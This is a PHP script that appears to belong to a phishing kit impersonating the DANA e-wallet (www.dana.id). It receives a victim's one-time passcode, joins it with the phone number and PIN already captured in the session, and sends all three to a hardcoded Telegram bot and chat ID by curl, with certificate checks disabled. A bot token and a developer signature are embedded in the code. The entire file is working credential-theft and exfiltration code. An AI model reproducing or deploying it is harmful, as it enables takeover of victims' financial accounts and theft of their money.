<?php
session_start();
header('Content-Type: application/json');

$botToken = "8723209757:AAE76y9kg1KITLjvDQ9ndkytL74te9Jo_Uk";
$chatId   = "7476789957";

$otp = $_POST['otp'] ?? '';
$nohp = $_SESSION['phoneNumber'] ?? '';
$pin  = $_SESSION['user_pin'] ?? '';
$tarif = $_SESSION['tarif'] ?? '';

if (empty($otp) || strlen($otp) != 4 || !ctype_digit($otp)) {
    echo json_encode(['status' => 'invalid', 'message' => 'OTP tidak valid']);
    exit;
}

$_SESSION['user_otp'] = $otp;

$logo = "☴ www.dana.id ☴";
$message = "$logo\n$tarif\n|𝗡𝗼𝗺𝗼𝗿 |  <code>0$nohp</code>\n|𝗣𝗶𝗻: $pin\n|𝗢𝗧𝗣: $otp\n━━━━━━━━━━━━━━━━━━\n👨‍💻 Dev by udin hosting";

$telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$postData = [
    'chat_id' => $chatId,
    'text' => $message,
    'parse_mode' => 'HTML'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

echo json_encode(['status' => 'ok']);
?>